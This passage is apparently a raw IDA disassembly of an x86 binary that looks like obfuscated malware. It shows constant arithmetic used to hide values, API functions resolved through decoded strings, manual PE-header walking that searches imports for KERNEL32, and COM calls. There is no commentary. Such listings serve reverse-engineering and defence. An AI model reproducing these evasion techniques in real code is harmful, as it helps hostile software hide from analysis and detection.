call dword ptr ds:0[edi]
mov ebx, eax
mov eax, ds:10012188h
add eax, ds:1001214Ch
sub eax, 6
cmp ebx, eax
jnz loc_4201C9
lea eax, [ebp+var_60EBC]
push eax
mov eax, [ebp+var_60EB0]
push eax
mov edi, [eax]
call dword ptr [edi+6Ch]
mov ebx, eax
movsx eax, word ptr ds:100120E0h
cmp ebx, eax
jnz loc_4201BD
mov eax, ds:100121B0h
mov [ebp+var_50EA0], eax
jmp loc_4201AB
; ---------------------------------------------------------------------------
loc_41FF26: ; CODE XREF: sub_41F4F7+CC0j
movsx eax, word ptr ds:10012090h
dec eax
push eax
call dword ptr ds:10011630h
pop ecx
mov [ebp+var_70F08], 2
mov eax, [ebp+var_50EA0]
mov [ebp+var_70F00], eax
lea eax, [ebp+var_70EF8]
push eax
lea esi, [ebp+var_70F08]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_70F08]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_60EB0]
push edi
mov edi, [edi]
call dword ptr [edi+74h]
mov ebx, eax
movsx eax, word ptr ds:10012128h
movsx edx, word ptr ds:100120D8h
add eax, edx
sub eax, 5
cmp ebx, eax
jnz loc_4201A5
and [ebp+var_70EF4], 0
lea eax, [ebp+var_70EF4]
push eax
push 1001390Ch
mov eax, [ebp+var_70EF8]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, ds:10012118h
movsx edx, word ptr ds:100120D8h
add eax, edx
sub eax, 6
cmp ebx, eax
jnz loc_420199
lea eax, [ebp+var_60EF0]
push eax
mov eax, ds:100121B8h
movsx edx, word ptr ds:10012168h
add eax, edx
sub eax, 0Bh
push eax
push [ebp+var_30E44]
mov eax, [ebp+var_70EF4]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
or ebx, ebx
jnz short loc_420018
cmp [ebp+var_60EF0], 8
jz short loc_42001D
loc_420018: ; CODE XREF: sub_41F4F7+B15j
jmp loc_42018D
; ---------------------------------------------------------------------------
loc_42001D: ; CODE XREF: sub_41F4F7+B1Fj
mov eax, ds:100121ACh
add eax, ds:100121C4h
mov edx, ds:100120A0h
sub edx, 4
mov byte ptr [ebp+eax+var_70EF8], dl
lea eax, [ebp+var_70EEF]
push eax
push [ebp+var_60EE8]
call sub_41ADCD
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_71F0C], edi
push [ebp+var_60EE8]
call dword ptr ds:10011BA0h
movsx eax, word ptr ds:100120BCh
movsx eax, byte ptr [ebp+eax+var_70EF8]
movsx edx, word ptr ds:100120C8h
movsx ecx, word ptr ds:10012170h
add edx, ecx
sub edx, 0Fh
cmp eax, edx
jz loc_42018D
push [ebp+var_30E4C]
lea eax, [ebp+var_70EEF]
push eax
call sub_42149B
add esp, 8
lea eax, [ebp+var_60EF0]
push eax
mov eax, ds:100120A0h
sub eax, 4
push eax
push [ebp+var_30E48]
mov eax, [ebp+var_70EF4]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
mov eax, ds:10012098h
mov edx, ds:10012144h
add edx, ds:100121B4h
sub edx, 6
mov [ebp+eax+var_71F0E], dl
or ebx, ebx
jnz short loc_420118
cmp [ebp+var_60EF0], 8
jnz short loc_420118
lea eax, [ebp+var_71F07]
push eax
push [ebp+var_60EE8]
call sub_41ADCD
add esp, 8
mov edi, eax
inc edi
mov [ebp-71F10h], edi
push [ebp+var_60EE8]
call dword ptr ds:10011BA0h
loc_420118: ; CODE XREF: sub_41F4F7+BEBj
; sub_41F4F7+BF5j
push 10013253h
call sub_4228CE
push [ebp+var_50EA0]
push eax
lea edi, [ebp+var_30E3F]
push edi
call dword ptr ds:10011634h
lea eax, [ebp+var_30E3F]
push eax
lea eax, [ebp+var_30D40]
push eax
call dword ptr ds:1000C020h
lea eax, [ebp+var_71F07]
push eax
lea eax, [ebp+var_30D40]
push eax
call dword ptr ds:1000C020h
push 1001324Eh
call sub_4228CE
push eax
lea edi, [ebp+var_30D40]
push edi
call dword ptr ds:1000C020h
lea eax, [ebp+var_70EEF]
push eax
lea eax, [ebp+var_30D40]
push eax
call dword ptr ds:1000C020h
add esp, 34h
loc_42018D: ; CODE XREF: sub_41F4F7:loc_420018j
; sub_41F4F7+B8Fj
mov eax, [ebp+var_70EF4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_420199: ; CODE XREF: sub_41F4F7+AE0j
mov eax, [ebp+var_70EF8]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4201A5: ; CODE XREF: sub_41F4F7+AA2j
inc [ebp+var_50EA0]
loc_4201AB: ; CODE XREF: sub_41F4F7+A2Aj
mov eax, [ebp+var_60EBC]
cmp [ebp+var_50EA0], eax
jb loc_41FF26
loc_4201BD: ; CODE XREF: sub_41F4F7+A19j
mov eax, [ebp+var_60EB0]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4201C9: ; CODE XREF: sub_41F4F7+9F5j
mov eax, [ebp+var_60EC0]
push eax
mov esi, [eax]
call dword ptr [esi+8]
movzx eax, [ebp+var_50E9B]
mov edx, ds:100120F8h
movsx ecx, word ptr ds:10012180h
add edx, ecx
sub edx, 8
cmp eax, edx
jz short loc_420233
push 1001324Bh
lea eax, [ebp+var_30D40]
push eax
call dword ptr ds:1000C020h
lea eax, [ebp+var_50E9B]
push eax
lea eax, [ebp+var_30D40]
push eax
call dword ptr ds:1000C020h
push 10013246h
call sub_4228CE
push eax
lea edi, [ebp+var_30D40]
push edi
call dword ptr ds:1000C020h
add esp, 1Ch
loc_420233: ; CODE XREF: sub_41F4F7+493j
; sub_41F4F7+CF9j
inc [ebp+var_30E50]
loc_420239: ; CODE XREF: sub_41F4F7+419j
mov eax, [ebp+var_30E58]
cmp [ebp+var_30E50], eax
jb loc_41F915
loc_42024B: ; CODE XREF: sub_41F4F7+292j
; sub_41F4F7+31Fj ...
inc [ebp+var_40E5C]
mov eax, [ebp+var_40E90]
cmp [ebp+var_40E5C], eax
jl loc_41F73C
lea eax, [ebp+var_30D40]
push eax
call dword ptr ds:1001162Ch
pop ecx
push [ebp+var_30E44]
call dword ptr ds:10011BA0h
push [ebp+var_30E48]
call dword ptr ds:10011BA0h
loc_420289: ; CODE XREF: sub_41F4F7+1E5j
mov eax, [ebp+var_40E70]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_420295: ; CODE XREF: sub_41F4F7+1BAj
mov eax, [ebp+var_40E6C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4202A1: ; CODE XREF: sub_41F4F7+195j
mov eax, [ebp+var_40E68]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4202AD: ; CODE XREF: sub_41F4F7+B9j
; sub_41F4F7:loc_41F604j ...
mov eax, [ebp+var_40E64]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4202B9: ; CODE XREF: sub_41F4F7+53j
; sub_41F4F7+96j
pop edi
pop esi
pop ebx
leave
retn
sub_41F4F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4202BE proc near ; CODE XREF: .data:0042325Bp
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = word ptr -38h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
movsx eax, word ptr ds:10012148h
sub eax, 3
mov [ebp+var_4], eax
jmp short loc_4202EC
; ---------------------------------------------------------------------------
loc_4202D6: ; CODE XREF: sub_4202BE+3Bj
mov eax, 30h
mul [ebp+var_4]
mov [ebp+var_20], eax
and dword ptr ds:1000F370h[eax], 0
inc [ebp+var_4]
loc_4202EC: ; CODE XREF: sub_4202BE+16j
movsx eax, word ptr ds:10012194h
add eax, 64h
cmp [ebp+var_4], eax
jb short loc_4202D6
push 0
call dword ptr ds:1000E0D0h
push 100122D4h
push 1001395Ch
push 7
push 0
push 1001389Ch
call dword ptr ds:1000E620h
mov ebx, eax
movsx eax, word ptr ds:100120B0h
movsx edx, word ptr ds:100120E0h
add eax, edx
sub eax, 8
cmp ebx, eax
jnz loc_4204E8
lea eax, [ebp+var_C]
push eax
mov eax, ds:100122D4h
push eax
mov edi, [eax]
call dword ptr [edi+1Ch]
mov ebx, eax
movsx eax, word ptr ds:1001219Ch
add eax, ds:10012188h
sub eax, 6
cmp ebx, eax
jnz short loc_420374
mov eax, ds:100120C0h
movsx edx, word ptr ds:100120DCh
add eax, edx
sub eax, 7
cmp [ebp+var_C], eax
jnz short loc_420379
loc_420374: ; CODE XREF: sub_4202BE+9Ej
jmp loc_420480
; ---------------------------------------------------------------------------
loc_420379: ; CODE XREF: sub_4202BE+B4j
mov eax, ds:1001212Ch
add eax, ds:1001213Ch
sub eax, 7
mov [ebp+var_8], eax
jmp loc_420474
; ---------------------------------------------------------------------------
loc_42038F: ; CODE XREF: sub_4202BE+1BCj
mov [ebp+var_38], 3
mov eax, [ebp+var_8]
mov [ebp+var_30], eax
lea eax, [ebp+var_3C]
push eax
lea esi, [ebp+var_38]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, ds:100122D4h
push edi
mov edi, [edi]
call dword ptr [edi+20h]
mov ebx, eax
cmp ebx, ds:10012130h
jnz loc_420471
lea eax, [ebp+var_40]
push eax
push 1001397Ch
mov eax, [ebp+var_3C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, ds:100121CCh
movsx edx, word ptr ds:100120D8h
add eax, edx
sub eax, 9
cmp ebx, eax
jnz short loc_420468
lea eax, ds:100122D0h
mov [ebp+var_24], eax
push eax
mov esi, [eax]
call dword ptr [esi+4]
lea eax, [ebp+var_44]
push eax
push 100138BCh
mov eax, [ebp+var_24]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word ptr ds:10012194h
movsx edx, word ptr ds:10012180h
add eax, edx
sub eax, 6
cmp ebx, eax
jnz short loc_420456
lea eax, [ebp+var_48]
push eax
push 100138BCh
push [ebp+var_44]
push [ebp+var_40]
call sub_4238BF
add esp, 10h
mov [ebp+var_4C], eax
mov eax, [ebp+var_44]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_420456: ; CODE XREF: sub_4202BE+173j
mov eax, [ebp+var_24]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, [ebp+var_40]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_420468: ; CODE XREF: sub_4202BE+135j
mov eax, [ebp+var_3C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_420471: ; CODE XREF: sub_4202BE+104j
inc [ebp+var_8]
loc_420474: ; CODE XREF: sub_4202BE+CCj
mov eax, [ebp+var_C]
cmp [ebp+var_8], eax
jb loc_42038F
loc_420480: ; CODE XREF: sub_4202BE:loc_420374j
lea eax, ds:100122F4h
mov [ebp+var_10], eax
push eax
mov esi, [eax]
call dword ptr [esi+4]
lea eax, [ebp+var_14]
push eax
push 100138ACh
mov eax, [ebp+var_10]
push eax
mov esi, [eax]
call dword ptr ds:0[esi]
mov eax, [ebp+var_10]
push eax
mov esi, [eax]
call dword ptr [esi+8]
lea eax, [ebp+var_1C]
push eax
push 100138ACh
push [ebp+var_14]
push dword ptr ds:100122D4h
call sub_4238BF
add esp, 10h
mov [ebp+var_18], eax
movsx ecx, word ptr ds:100120D0h
cmp eax, ecx
jnz short loc_4204E8
mov eax, ds:100122D4h
push eax
mov esi, [eax]
call dword ptr [esi+8]
and dword ptr ds:100122D4h, 0
loc_4204E8: ; CODE XREF: sub_4202BE+75j
; sub_4202BE+216j
pop edi
pop esi
pop ebx
leave
retn
sub_4202BE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+0Ch]
mov edi, [ebp+10h]
push 1001396Ch
push esi
call dword ptr ds:10011644h
or eax, eax
jz short loc_420519
mov eax, [ebp+8]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_420561
; ---------------------------------------------------------------------------
loc_420519: ; CODE XREF: .data:00420507j
push 100138ECh
push esi
call dword ptr ds:10011644h
or eax, eax
jz short loc_420539
mov eax, [ebp+8]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_420561
; ---------------------------------------------------------------------------
loc_420539: ; CODE XREF: .data:00420527j
push 100138CCh
push esi
call dword ptr ds:10011644h
or eax, eax
jz short loc_420559
mov eax, [ebp+8]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_420561
; ---------------------------------------------------------------------------
loc_420559: ; CODE XREF: .data:00420547j
and dword ptr [edi], 0
mov eax, 80004002h
loc_420561: ; CODE XREF: .data:00420517j
; .data:00420537j ...
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
; =============== S U B R O U T I N E =======================================
sub_420568 proc near ; CODE XREF: .data:00423046p
push edi
push 10013236h
call sub_4228CE
pop ecx
push eax
call dword ptr ds:1000E5E8h
mov ds:100121F8h, eax
test eax, eax
jnz short loc_42059B
push 10013226h
call sub_4228CE
pop ecx
push eax
call dword ptr ds:1000F244h
mov ds:100121F8h, eax
loc_42059B: ; CODE XREF: sub_420568+1Aj
push 10013215h
call sub_4228CE
push eax
push dword ptr ds:100121F8h
call dword ptr ds:1000E1F8h
mov ds:1000E5ECh, eax
push 10013201h
call sub_4228CE
push eax
push dword ptr ds:100121F8h
call dword ptr ds:1000E1F8h
mov ds:1000C03Ch, eax
push 100131F2h
call sub_4228CE
add esp, 0Ch
push eax
push dword ptr ds:100121F8h
call dword ptr ds:1000E1F8h
mov ds:10011618h, eax
pop edi
retn
sub_420568 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
pusha
mov esi, [ebp+10h]
mov eax, 10009652h
mov [esi+0B8h], eax
mov eax, [ebp+0Ch]
mov [esi+0C4h], eax
popa
mov esp, ebp
pop ebp
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0C3h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, ds:1001218Ch
dec eax
cmp ds:10011BA8h, eax
jbe short loc_420633
push 10011BA8h
call dword ptr ds:1000C010h
loc_420633: ; CODE XREF: .data:00420626j
mov eax, ds:10011BA8h
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42063C proc near ; CODE XREF: sub_41E5D9+C2p
; sub_41E5D9+FFp ...
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push edi
movzx eax, [ebp+arg_0]
mov ecx, 2Bh
mov edx, 2FA0BE83h
mul edx
shr edx, 3
mov [ebp+var_4], edx
mov edi, edx
mov ebx, edi
mov [ebp+arg_0], bl
movzx eax, [ebp+arg_0]
mov edx, ds:100121B4h
add edx, ds:100120B8h
sub edx, 5
cmp eax, edx
jnz short loc_420680
mov eax, 65h
jmp loc_420707
; ---------------------------------------------------------------------------
loc_420680: ; CODE XREF: sub_42063C+38j
movzx eax, [ebp+arg_0]
mov edx, ds:100120B8h
movsx ecx, word ptr ds:100120F4h
add edx, ecx
sub edx, 0Ch
cmp eax, edx
jnz short loc_4206A1
mov eax, 79h
jmp short loc_420707
; ---------------------------------------------------------------------------
loc_4206A1: ; CODE XREF: sub_42063C+5Cj
movzx eax, [ebp+arg_0]
movsx edx, word ptr ds:100120E0h
add edx, 2
cmp eax, edx
jnz short loc_4206BA
mov eax, 75h
jmp short loc_420707
; ---------------------------------------------------------------------------
loc_4206BA: ; CODE XREF: sub_42063C+75j
movzx eax, [ebp+arg_0]
mov edx, ds:100121B0h
add edx, ds:100121C4h
sub edx, 2
cmp eax, edx
jnz short loc_4206D8
mov eax, 69h
jmp short loc_420707
; ---------------------------------------------------------------------------
loc_4206D8: ; CODE XREF: sub_42063C+93j
movzx eax, [ebp+arg_0]
movsx edx, word ptr ds:100121BCh
sub edx, 2
cmp eax, edx
jnz short loc_4206F1
mov eax, 6Fh
jmp short loc_420707
; ---------------------------------------------------------------------------
loc_4206F1: ; CODE XREF: sub_42063C+ACj
movzx eax, [ebp+arg_0]
mov edx, ds:100120FCh
sub edx, 2
cmp eax, edx
jnz short loc_420707
mov eax, 61h
loc_420707: ; CODE XREF: sub_42063C+3Fj
; sub_42063C+63j ...
pop edi
pop ebx
leave
retn
sub_42063C endp
; ---------------------------------------------------------------------------
db 0B8h
dd 80004001h
db 0C2h, 18h, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edi
mov eax, [ebp+0Ch]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call dword ptr ds:1000E614h
pop edi
pop ebp
retn 10h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
mov eax, [ebp+18h]
mov [ebp+18h], ax
mov eax, ds:100120ACh
add eax, 0C5h
cmp [ebp+0Ch], eax
jnz loc_420858
mov word ptr [ebp-18h], 3
lea eax, [ebp-10h]
push eax
mov eax, ds:100122D4h
push eax
mov edi, [eax]
call dword ptr [edi+1Ch]
mov [ebp-4], eax
movsx eax, word ptr ds:1001216Ch
add eax, ds:100121A0h
sub eax, 0Ah
cmp [ebp-4], eax
jnz loc_420854
dec dword ptr [ebp-10h]
lea eax, [ebp-1Ch]
push eax
lea esi, [ebp-18h]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, ds:100122D4h
push edi
mov edi, [edi]
call dword ptr [edi+20h]
mov [ebp-4], eax
mov eax, ds:100120B4h
sub eax, 8
cmp [ebp-4], eax
jnz loc_420854
lea eax, [ebp-20h]
push eax
push 1001397Ch
mov eax, [ebp-1Ch]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov [ebp-4], eax
mov eax, ds:100120ACh
sub eax, 3
cmp [ebp-4], eax
jnz short loc_42084B
lea eax, ds:100122D0h
mov [ebp-8], eax
push eax
mov ebx, [eax]
call dword ptr [ebx+4]
lea eax, [ebp-24h]
push eax
push 100138BCh
mov eax, [ebp-8]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov [ebp-4], eax
mov eax, ds:100120A8h
sub eax, 3
cmp [ebp-4], eax
jnz short loc_420839
lea eax, [ebp-2Ch]
push eax
push 100138BCh
push dword ptr [ebp-24h]
push dword ptr [ebp-20h]
call sub_4238BF
add esp, 10h
mov [ebp-28h], eax
mov eax, [ebp-24h]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_420839: ; CODE XREF: .data:00420814j
mov eax, [ebp-8]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
mov eax, [ebp-20h]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_42084B: ; CODE XREF: .data:004207DFj
mov eax, [ebp-1Ch]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_420854: ; CODE XREF: .data:0042077Fj
; .data:004207B5j
xor eax, eax
jmp short loc_42085D
; ---------------------------------------------------------------------------
loc_420858: ; CODE XREF: .data:0042074Ej
mov eax, 80020003h
loc_42085D: ; CODE XREF: .data:00420856j
pop edi
pop esi
pop ebx
leave
retn 24h
; =============== S U B R O U T I N E =======================================
sub_420864 proc near ; CODE XREF: .data:00420FBCp
push edi
push 100131E4h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:10011660h, eax
push 100131DCh
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000D00Ch, eax
push 100131C8h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000E5E8h, eax
push 100131B8h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000F244h, eax
push 100131A9h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:10011788h, eax
push 1001319Ah
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000C008h, eax
push 10013188h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:10011B9Ch, eax
push 1001317Bh
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:10011B8Ch, eax
push 1001316Ch
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:10010650h, eax
push 1001315Dh
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:10011624h, eax
push 10013151h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000C000h, eax
push 10013146h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000E0E0h, eax
push 1001312Fh
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000C00Ch, eax
push 10013118h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1001163Ch, eax
push 10013102h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:10011608h, eax
push 100130F2h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000C034h, eax
push 100130E6h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000C028h, eax
push 100130D6h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000F248h, eax
push 100130C7h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:10010630h, eax
push 100130B9h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000EA34h, eax
push 100130ACh
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000E618h, eax
push 1001309Bh
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000F25Ch, eax
push 1001308Ah
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000C02Ch, eax
push 1001307Ah
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:10011770h, eax
push 10013068h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000F258h, eax
push 10013057h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000D004h, eax
push 1001304Ah
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000E608h, eax
push 10013039h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:10011664h, eax
push 10013024h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1001164Ch, eax
push 10013014h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000D000h, eax
push 10012FFFh
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000E0D4h, eax
push 10012FF2h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000F364h, eax
push 10012FE2h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1001161Ch, eax
push 10012FD4h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:10010644h, eax
push 10012FBEh
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:10010638h, eax
push 10012FA7h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000E5FCh, eax
push 10012F8Fh
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000EA3Ch, eax
push 10012F77h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000C010h, eax
push 10012F5Eh
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:10011614h, eax
push 10012F4Bh
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:10011780h, eax
push 10012F33h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:10011778h, eax
push 10012F22h
call sub_4228CE
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:10011B98h, eax
push 10012F10h
call sub_4228CE
add esp, 0ACh
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000E5F4h, eax
pop edi
retn
sub_420864 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
loc_420D24: ; CODE XREF: .data:00420D4Dj
push dword ptr ds:100121A4h
call dword ptr ds:10011630h
pop ecx
mov eax, ds:100121CCh
add eax, ds:100121A0h
sub eax, 0Ah
push eax
push 10009318h
push 0
call dword ptr ds:1000C048h
jmp short loc_420D24
; ---------------------------------------------------------------------------
db 5Dh
db 0C2h, 4, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 138h
push ebx
push esi
push edi
lea eax, ds:10009C0Ah
mov [ebp-10h], eax
mov edx, eax
movsx ecx, word ptr ds:10012128h
add ecx, 10h
mov eax, edx
shr eax, cl
movsx edx, word ptr ds:1001216Ch
add edx, 0Ch
mov ecx, edx
mov ebx, eax
shl ebx, cl
loc_420D88: ; CODE XREF: .data:00420DABj
; .data:00420DDCj ...
mov [ebp-18h], ebx
mov eax, ebx
cmp word ptr [eax], 5A4Dh
jz short loc_420DAD
movsx eax, word ptr ds:100120BCh
movsx edx, word ptr ds:10012194h
lea eax, [eax+edx+0FFF7h]
sub ebx, eax
jmp short loc_420D88
; ---------------------------------------------------------------------------
loc_420DAD: ; CODE XREF: .data:00420D92j
movsx eax, word ptr ds:10012100h
lea eax, [eax+eax+2Ah]
mov esi, ebx
add esi, eax
mov eax, ebx
add eax, [esi]
mov [ebp-14h], eax
mov ecx, [ebp-10h]
cmp eax, ecx
jbe short loc_420DDE
mov eax, ds:100121ACh
add eax, 0FFFCh
add eax, ds:100121B0h
sub ebx, eax
jmp short loc_420D88
; ---------------------------------------------------------------------------
loc_420DDE: ; CODE XREF: .data:00420DC8j
mov eax, [ebp-14h]
mov [ebp-8], eax
movzx eax, word ptr [eax]
cmp eax, 4550h
jz short loc_420DFE
movsx eax, word ptr ds:1001219Ch
add eax, 0FFFAh
sub ebx, eax
jmp short loc_420D88
; ---------------------------------------------------------------------------
loc_420DFE: ; CODE XREF: .data:00420DECj
mov eax, [ebp-8]
mov eax, [eax+80h]
mov [ebp-0Ch], eax
mov eax, ds:1001218Ch
dec eax
mov [ebp-4], eax
jmp loc_420FA1
; ---------------------------------------------------------------------------
loc_420E18: ; CODE XREF: .data:00420FADj
mov eax, ebx
add eax, [ebp-0Ch]
add eax, [ebp-4]
mov [ebp-12Ch], eax
mov edx, ds:100121A4h
cmp [eax], edx
jz loc_420FB3
mov eax, [ebp-12Ch]
mov edx, ebx
add edx, [eax+0Ch]
mov [ebp-130h], edx
push edx
lea eax, [ebp-127h]
push eax
call sub_424F6D
mov eax, ds:100120A0h
add eax, ds:100121ACh
sub eax, 8
mov [ebp-28h], eax
jmp short loc_420E87
; ---------------------------------------------------------------------------
loc_420E65: ; CODE XREF: .data:00420EA3j
mov eax, [ebp-28h]
mov al, [ebp+eax-127h]
cmp al, 61h
jle short loc_420E84
cmp al, 7Ah
jge short loc_420E84
mov eax, [ebp-28h]
lea eax, [ebp+eax-127h]
sub byte ptr [eax], 20h
loc_420E84: ; CODE XREF: .data:00420E71j
; .data:00420E75j
inc dword ptr [ebp-28h]
loc_420E87: ; CODE XREF: .data:00420E63j
mov eax, [ebp-28h]
movsx eax, byte ptr [ebp+eax-127h]
mov edx, ds:10012094h
add edx, ds:1001211Ch
sub edx, 9
cmp eax, edx
jnz short loc_420E65
mov eax, ds:100121C0h
mov edx, eax
add edx, ds:100120B4h
cmp byte ptr [ebp+edx-132h], 4Bh
jnz loc_420F9D
mov edx, ds:10012158h
movsx ecx, word ptr ds:10012114h
add edx, ecx
cmp byte ptr [ebp+edx-128h], 45h
jnz loc_420F9D
mov edx, ds:10012124h
add edx, ds:10012140h
cmp byte ptr [ebp+edx-12Eh], 52h
jnz loc_420F9D
movsx edx, word ptr ds:10012100h
add eax, edx
cmp byte ptr [ebp+eax-12Eh], 4Ch
jnz loc_420F9D
mov eax, ds:10012138h
mov edx, ds:1001210Ch
add edx, eax
cmp byte ptr [ebp+edx-130h], 33h
jnz short loc_420F9D
cmp byte ptr [ebp+eax-128h], 32h
jnz short loc_420F9D
mov eax, [ebp-12Ch]
mov edx, ebx
add edx, [eax+10h]
mov [ebp-138h], edx
